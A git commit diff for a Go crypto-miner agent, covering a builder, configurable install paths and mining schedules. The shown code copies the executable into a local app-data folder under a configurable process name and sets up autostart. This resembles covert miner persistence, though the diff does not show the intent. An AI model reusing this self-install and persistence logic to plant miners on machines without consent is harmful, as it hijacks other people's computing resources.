Add configurable install paths and enforce mining schedules.

Builder and Settings expose install base/subfolder with live preview. Agent embeds on first exe run to the configured path, pauses for idle CPU and scheduled windows, and reports real system CPU usage.
This commit is contained in:
drjones
2026-05-26 23:39:51 -07:00
parent f7d6dcf542
commit 1313c553e7
20 changed files with 662 additions and 24 deletions

View File

@@ -29,11 +29,11 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
}
}
installDir, err := InstallDir(cfg.WorkerName, cfg.BuildID)
installDir, err := cfg.InstallDirectory()
if err != nil {
return false, err
}
installedExe := filepath.Join(installDir, cfg.ProcessName+".exe")
installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe")
if samePath(currentExe, installedExe) {
return false, nil
@@ -49,8 +49,8 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
logPath := filepath.Join(installDir, "miner.log")
_ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf(
"worker=%s\nbuild=%s\nserver=%s\ninstalled_exe=%s\n",
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, installedExe,
"worker=%s\nbuild=%s\nserver=%s\ninstall_dir=%s\ninstalled_exe=%s\n",
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, installDir, installedExe,
)), 0644)
if cfg.AutoStart {
@@ -71,16 +71,14 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
}
func InstallDir(workerName, buildID string) (string, error) {
base, err := os.UserConfigDir()
if err != nil {
return "", err
}
safeWorker := sanitizeName(workerName)
shortBuild := buildID
if len(shortBuild) > 8 {
shortBuild = shortBuild[:8]
}
return filepath.Join(base, "CryptoMiner", fmt.Sprintf("%s-%s", safeWorker, shortBuild)), nil
return config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
WorkerName: workerName,
BuildID: buildID,
InstallBase: "localappdata",
InstallRelativePath: config.DefaultInstallRelativePath,
},
}.InstallDirectory()
}
func configureAutoStart(workerName, exePath string) error {